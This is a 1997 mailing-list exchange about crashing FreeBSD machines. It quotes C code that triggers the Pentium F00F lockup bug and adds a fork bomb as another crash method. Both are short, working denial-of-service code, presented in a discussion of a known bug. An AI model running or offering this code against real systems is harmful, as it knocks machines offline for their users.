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Subject: Re: Crashing FreeBSD
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Well, there are other ways too. 
	
	1. Toggle power really fast
	2. write a "forkbomb":
#include <stdio.h>

main() {

  for(;;) {fork();}
}

	I am sure there are other ways.




 -Spike Gronim
  sporkl@dti.net

	"Tradition is the chastity belt of the mind" 



On Sun, 9 Nov 1997, Michael Richards wrote:

> Well folks, it looks like anyone can crash a FreeBSD box. I am told that
> this is a bug in the pentium processor. Compile and run, it will crash the
> machine right away...
> 
> Very simple:
> 
> 
> char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
> 
> main () {
>     void (*f)() = x;
>     f();
> }
> 
>